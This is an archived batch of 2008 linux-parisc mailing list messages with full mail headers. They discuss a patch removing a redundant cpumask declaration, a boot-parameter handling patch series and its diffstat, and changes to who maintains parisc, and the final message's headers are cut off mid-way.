Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753543AbYLIWG1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 9 Dec 2008 17:06:27 -0500
Original-Received: from ozlabs.org ([203.10.76.45]:56167 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753185AbYLIWG0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Dec 2008 17:06:26 -0500
Original-Received: from vivaldi.localnet (unknown [150.101.102.135])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by ozlabs.org (Postfix) with ESMTPSA id 1E8A7DDF51;
	Wed, 10 Dec 2008 09:06:23 +1100 (EST)
User-Agent: KMail/1.10.1 (Linux/2.6.27-9-generic; KDE/4.1.2; i686; ; )
In-Reply-To: <20081209035407.GF30783@bombadil.infradead.org>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:931
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/931>

On Tuesday 09 December 2008 14:24:07 Kyle McMartin wrote:
> On Thu, Dec 04, 2008 at 10:12:41AM +1030, Rusty Russell wrote:
> > This is defined in linux/cpumask.h (included in this file already),
> > and this will break when the definition changes (in a following patch).
> > 
> > Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
> 
> Accepted, though it would have been nice if it had either hit all the
> maintainers, or hit the list too...

OK, I picked one maintainer at semi-random.   I've added you and Willy
to my annoy-maintainers script.

Thanks,
Rusty.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/master
Date: Tue, 9 Dec 2008 22:16:27 GMT
Lines: 18
Approved: news@gmane.org
Message-ID: <200812092216.mB9MGRn9020970@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1228861001 15719 80.91.229.12 (9 Dec 2008 22:16:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Dec 2008 22:16:41 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 09 23:17:44 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LAAtj-0007Hx-VT
	for glpp-linux-parisc@gmane.org; Tue, 09 Dec 2008 23:17:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751073AbYLIWQa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Dec 2008 17:16:30 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753515AbYLIWQa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 9 Dec 2008 17:16:30 -0500
Original-Received: from hera.kernel.org ([140.211.167.34]:46645 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751073AbYLIWQa (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Dec 2008 17:16:30 -0500
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX182Y5dA368Ectyh199dLaL0Px1naRBwoy0@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id mB9MGRKD020972
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Tue, 9 Dec 2008 22:16:28 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id mB9MGRn9020970
	for linux-parisc@vger.kernel.org; Tue, 9 Dec 2008 22:16:27 GMT
X-Virus-Scanned: ClamAV 0.93.3/8737/Tue Dec  9 16:59:48 2008 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=AWL,BAYES_00,
	UNPARSEABLE_RELAY autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Tue, 09 Dec 2008 22:16:29 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:932
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/932>

New commits:
commit 5782dc68d2899f30a531261e7288a40cc46821f7
Author: Rusty Russell <rusty@rustcorp.com.au>
Date:   Thu Dec 4 10:12:41 2008 +1030

    parisc: remove gratuitous cpu_online_map declaration.
    
    This is defined in linux/cpumask.h (included in this file already),
    and this will break when the definition changes (in a following patch).
    
    Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rusty Russell <rusty@rustcorp.com.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: setup_arch/arch_get_boot_command_line changes
Date: Wed, 10 Dec 2008 08:50:24 +1030
Lines: 107
Approved: news@gmane.org
Message-ID: <200812100850.26728.rusty@rustcorp.com.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228861252 16526 80.91.229.12 (9 Dec 2008 22:20:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Dec 2008 22:20:52 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, dhowells@redhat.com,
	Richard Henderson <rth@twiddle.net>,
	Russell King <rmk@arm.linux.org.uk>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Bryan Wu <cooloney@kernel.org>,
	Mikael Starvik <starvik@axis.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Tony Luck <tony.luck@intel.com>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Ralf Baechle <ralf@linux-mips.org>,
	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Paul Mundt <lethal@linux-sh.org>,
	"David S. Miller" <davem@davemloft.net>,
	Jeff Dike <jdike@addtoit.com>, Ingo Molnar <mingo@redhat.com>,
	Chris Zankel <chris@zankel.net>,
	Linus Torvalds <torvalds@linux-foundation.org>
To: Stephen Rothwell <sfr@canb.auug.org.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 09 23:21:51 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LAAxi-0000vO-Jq
	for glpp-linux-parisc@gmane.org; Tue, 09 Dec 2008 23:21:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754970AbYLIWUg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Dec 2008 17:20:36 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755251AbYLIWUf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 9 Dec 2008 17:20:35 -0500
Original-Received: from ozlabs.org ([203.10.76.45]:50649 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754899AbYLIWUc (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Dec 2008 17:20:32 -0500
Original-Received: from vivaldi.localnet (unknown [150.101.102.135])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by ozlabs.org (Postfix) with ESMTPSA id BC990DDEFB;
	Wed, 10 Dec 2008 09:20:30 +1100 (EST)
User-Agent: KMail/1.10.1 (Linux/2.6.27-9-generic; KDE/4.1.2; i686; ; )
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:933 gmane.linux.kernel:767172
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/933>

OK, I've folded in all the fixes, thanks.  Git tree is here:

	git://git.kernel.org/pub/scm/linux/kernel/git/rusty/linux-2.6-boot-params.git

Stephen, please include in linux-next.  Clearly this hits every arch.  I'll
try to avoid rebasing unless I've broken some arch horribly.

Thanks,
Rusty.

David Howells (2):
      param: Adapt MN10300 to the new parameter handling regime
      param: Adapt FRV to the new parameter handling regime    

Rusty Russell (10):
      USB: Don't use __module_param_call
      param: allow parse_args to work non-destructively.
      core_param: call these really, really early.      
      param: make sure charp isn't used as a core_param 
      param: arch_get_boot_command_line()               
      params: move core_param() parsing to before setup_arch.
      Call early_param earlier.                              
      param: combine core_param and early_param parsing.     
      params: don't use alloc_bootmem for saved_command_line 
      param: move banner printing to top of start_kernel.    

 arch/alpha/kernel/setup.c                  |   36 ++++++++-----
 arch/arm/kernel/setup.c                    |   43 +++++++++-------
 arch/avr32/kernel/setup.c                  |   15 ++---           
 arch/blackfin/kernel/setup.c               |   22 ++++----        
 arch/cris/kernel/setup.c                   |   29 +++++-----      
 arch/frv/kernel/setup.c                    |   50 +++++++-----------
 arch/h8300/kernel/setup.c                  |   27 +++++-----        
 arch/ia64/dig/setup.c                      |    2 +-                
 arch/ia64/hp/sim/hpsim_setup.c             |    2 +-                
 arch/ia64/include/asm/machvec.h            |    4 +-                
 arch/ia64/include/asm/paravirt.h           |    8 ++--              
 arch/ia64/kernel/machvec.c                 |    8 +++-              
 arch/ia64/kernel/setup.c                   |   32 ++++++------      
 arch/ia64/sn/kernel/setup.c                |   13 ++---             
 arch/ia64/uv/kernel/setup.c                |    2 +-                
 arch/ia64/xen/xen_pv_ops.c                 |    2 +-                
 arch/m32r/kernel/setup.c                   |   16 +++---            
 arch/m68k/kernel/setup.c                   |   27 ++++++----        
 arch/m68knommu/include/asm/machdep.h       |    2 +-                
 arch/m68knommu/kernel/setup.c              |   33 ++++++------      
 arch/m68knommu/platform/5206/config.c      |    2 +-                
 arch/m68knommu/platform/5206e/config.c     |   14 +++--             
 arch/m68knommu/platform/520x/config.c      |    2 +-                
 arch/m68knommu/platform/523x/config.c      |    2 +-                
 arch/m68knommu/platform/5249/config.c      |    2 +-                
 arch/m68knommu/platform/5272/config.c      |   23 ++++----          
 arch/m68knommu/platform/527x/config.c      |    2 +-                
 arch/m68knommu/platform/528x/config.c      |    2 +-                
 arch/m68knommu/platform/5307/config.c      |   13 +++--             
 arch/m68knommu/platform/532x/config.c      |   22 ++++----          
 arch/m68knommu/platform/5407/config.c      |    2 +-                
 arch/m68knommu/platform/68328/config.c     |    2 +-                
 arch/m68knommu/platform/68328/head-pilot.S |    2 +-                
 arch/m68knommu/platform/68360/config.c     |    6 ++-               
 arch/m68knommu/platform/68EZ328/config.c   |    4 +-                
 arch/m68knommu/platform/68VZ328/config.c   |   12 +++--             
 arch/mips/kernel/setup.c                   |   20 ++++----          
 arch/mn10300/kernel/setup.c                |   61 +++++++++-------------
 arch/parisc/kernel/setup.c                 |   30 +++++------           
 arch/powerpc/kernel/prom.c                 |    1 -                     
 arch/powerpc/kernel/setup_32.c             |   10 +++-                  
 arch/powerpc/kernel/setup_64.c             |    8 ++-                   
 arch/s390/kernel/setup.c                   |    8 +---                  
 arch/sh/boards/board-magicpanelr2.c        |    2 +-                    
 arch/sh/boards/board-sh7785lcr.c           |    2 +-
 arch/sh/boards/mach-dreamcast/setup.c      |    2 +-
 arch/sh/boards/mach-highlander/setup.c     |    2 +-
 arch/sh/boards/mach-hp6xx/setup.c          |    2 +-
 arch/sh/boards/mach-landisk/setup.c        |    2 +-
 arch/sh/boards/mach-microdev/setup.c       |    2 +-
 arch/sh/boards/mach-migor/setup.c          |    2 +-
 arch/sh/boards/mach-r2d/setup.c            |    2 +-
 arch/sh/boards/mach-sdk7780/setup.c        |    2 +-
 arch/sh/boards/mach-se/7343/setup.c        |    2 +-
 arch/sh/boards/mach-se/770x/setup.c        |    2 +-
 arch/sh/boards/mach-se/7721/setup.c        |    2 +-
 arch/sh/boards/mach-se/7722/setup.c        |    2 +-
 arch/sh/boards/mach-se/7780/setup.c        |    2 +-
 arch/sh/boards/mach-sh03/setup.c           |    2 +-
 arch/sh/boards/mach-sh7763rdp/setup.c      |    2 +-
 arch/sh/include/asm/machvec.h              |    2 +-
 arch/sh/kernel/setup.c                     |   28 +++++-----
 arch/sparc/kernel/setup.c                  |   14 +++---
 arch/sparc64/kernel/setup.c                |   12 ++--
 arch/um/kernel/um_arch.c                   |   10 +++-
 arch/x86/kernel/setup.c                    |   41 +++++++--------
 arch/xtensa/kernel/setup.c                 |   19 ++++---
 drivers/usb/core/usb.c                     |    8 ++-
 include/asm-generic/vmlinux.lds.h          |    3 +
 include/linux/init.h                       |    5 +-
 include/linux/moduleparam.h                |   43 ++++++++++++----
 init/main.c                                |   74 ++++++++++++--------------
 kernel/kexec.c                             |    1 +
 kernel/module.c                            |    2 +-
 kernel/params.c                            |   77 +++++++++++++++++++++------
 75 files changed, 535 insertions(+), 461 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: remove gratuitous cpu_online_map declaration.
Date: Tue, 9 Dec 2008 15:44:30 -0700
Lines: 37
Approved: news@gmane.org
Message-ID: <20081209224430.GC24334@colo.lackof.org>
References: <200812041012.41496.rusty@rustcorp.com.au> <20081209035407.GF30783@bombadil.infradead.org> <200812100836.20148.rusty@rustcorp.com.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228862705 21169 80.91.229.12 (9 Dec 2008 22:45:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Dec 2008 22:45:05 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 09 23:46:08 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LABL2-0001nK-63
	for glpp-linux-parisc@gmane.org; Tue, 09 Dec 2008 23:45:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754358AbYLIWom (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Dec 2008 17:44:42 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754670AbYLIWom
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 9 Dec 2008 17:44:42 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:38967 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754358AbYLIWol (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Dec 2008 17:44:41 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id B6CDF29C093;
	Tue,  9 Dec 2008 15:44:40 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25208-07; Tue, 9 Dec 2008 15:44:30 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 6F80529C091; Tue,  9 Dec 2008 15:44:30 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200812100836.20148.rusty@rustcorp.com.au>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:934
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/934>

On Wed, Dec 10, 2008 at 08:36:19AM +1030, Rusty Russell wrote:
> On Tuesday 09 December 2008 14:24:07 Kyle McMartin wrote:
> > On Thu, Dec 04, 2008 at 10:12:41AM +1030, Rusty Russell wrote:
> > > This is defined in linux/cpumask.h (included in this file already),
> > > and this will break when the definition changes (in a following patch).
> > > 
> > > Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
> > 
> > Accepted, though it would have been nice if it had either hit all the
> > maintainers, or hit the list too...
> 
> OK, I picked one maintainer at semi-random.   I've added you and Willy
> to my annoy-maintainers script.

Rusty,
willy and I should be dropped as parisc-linux maintainers.
(We can review parisc patches, just not listed as maintainers.)

Please add Helge Deller <deller@gmx.net> (IIRC).

Patch to MAINTAINERS was submitted just a week ago or so.

cheers,
grant

> 
> Thanks,
> Rusty.
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: setup_arch/arch_get_boot_command_line changes
Date: Tue, 9 Dec 2008 17:59:31 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <20081209225931.GA7015@bombadil.infradead.org>
References: <200812100850.26728.rusty@rustcorp.com.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228863598 23891 80.91.229.12 (9 Dec 2008 22:59:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Dec 2008 22:59:58 +0000 (UTC)
Cc: Stephen Rothwell <sfr@canb.auug.org.au>,
	linux-kernel@vger.kernel.org, dhowells@redhat.com,
	Richard Henderson <rth@twiddle.net>,
	Russell King <rmk@arm.linux.org.uk>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Bryan Wu <cooloney@kernel.org>,
	Mikael Starvik <starvik@axis.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Tony Luck <tony.luck@intel.com>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Ralf Baechle <ralf@linux-mips.org>,
	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Paul Mundt <lethal@linux-sh.org>,
	"David S. Miller" <davem@davemloft.net>,
	Jeff Dike <jdike@addtoit.com>, Ingo Molnar <mingo@redhat.com>,
	Chris Zankel <chris@zankel.net>,
	Linus Torvalds <torvalds@linux-foundation.org>
To: Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 10 00:00:57 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LABZZ-0007V6-6u
	for glpp-linux-parisc@gmane.org; Wed, 10 Dec 2008 00:00:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754128AbYLIW7n (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Dec 2008 17:59:43 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751073AbYLIW7n
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 9 Dec 2008 17:59:43 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:42745 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753362AbYLIW7m (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Dec 2008 17:59:42 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LABYB-0001dz-P9; Tue, 09 Dec 2008 22:59:31 +0000
Content-Disposition: inline
In-Reply-To: <200812100850.26728.rusty@rustcorp.com.au>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:935 gmane.linux.kernel:767191
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/935>

On Wed, Dec 10, 2008 at 08:50:24AM +1030, Rusty Russell wrote:
> Rusty Russell (10):
> <snip>
>       param: move banner printing to top of start_kernel.    
> 

Will this not run afoul of lockdep since it will be attempting to take
locks before lockdep has initialized?

(as an aside, it would be nice if it came after setup_arch, since on
some horrible platforms, printk_time needs the fpu turned on for
(integer) division, but there's no arch hook before the first printk, so
one needs to hijack the start_kernel entrypoint...)

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: setup_arch/arch_get_boot_command_line changes
Date: Tue, 9 Dec 2008 18:02:14 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <20081209230214.GB7015@bombadil.infradead.org>
References: <200812100850.26728.rusty@rustcorp.com.au> <20081209225931.GA7015@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228863758 24510 80.91.229.12 (9 Dec 2008 23:02:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Dec 2008 23:02:38 +0000 (UTC)
Cc: Rusty Russell <rusty@rustcorp.com.au>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	linux-kernel@vger.kernel.org, dhowells@redhat.com,
	Richard Henderson <rth@twiddle.net>,
	Russell King <rmk@arm.linux.org.uk>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Bryan Wu <cooloney@kernel.org>,
	Mikael Starvik <starvik@axis.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Tony Luck <tony.luck@intel.com>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Ralf Baechle <ralf@linux-mips.org>,
	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Paul Mundt <lethal@linux-sh.org>,
	"David S. Miller" <davem@davemloft.net>,
	Jeff Dike <jdike@addtoit.com>, Ingo Molnar <mingo@redhat.com>,
	Chris Zankel <chris@zankel.net>,
	Linus Torvalds <torvalds@linux-foundation.org>
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 10 00:03:36 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LABc6-0008My-Vm
	for glpp-linux-parisc@gmane.org; Wed, 10 Dec 2008 00:03:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754781AbYLIXCV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Dec 2008 18:02:21 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754588AbYLIXCU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 9 Dec 2008 18:02:20 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:52136 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751989AbYLIXCT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Dec 2008 18:02:19 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LABao-0007XV-N1; Tue, 09 Dec 2008 23:02:14 +0000
Content-Disposition: inline
In-Reply-To: <20081209225931.GA7015@bombadil.infradead.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:936 gmane.linux.kernel:767196
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/936>

On Tue, Dec 09, 2008 at 05:59:31PM -0500, Kyle McMartin wrote:
> Will this not run afoul of lockdep since it will be attempting to take
> locks before lockdep has initialized?
> 

Ah, printk calls lockdep_off now. Handy.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: remove gratuitous cpu_online_map declaration.
Date: Wed, 10 Dec 2008 00:11:50 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <493EFB36.5070606@gmx.de>
References: <200812041012.41496.rusty@rustcorp.com.au> <20081209035407.GF30783@bombadil.infradead.org> <200812100836.20148.rusty@rustcorp.com.au> <20081209224430.GC24334@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228864354 26310 80.91.229.12 (9 Dec 2008 23:12:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Dec 2008 23:12:34 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Kyle McMartin <kyle@infradead.org>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	linux-parisc@vger.kernel.org
To: Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 10 00:13:37 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LABlU-0003A4-Es
	for glpp-linux-parisc@gmane.org; Wed, 10 Dec 2008 00:13:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754984AbYLIXMD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Dec 2008 18:12:03 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755371AbYLIXMB
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 9 Dec 2008 18:12:01 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:56186 "HELO mail.gmx.net"
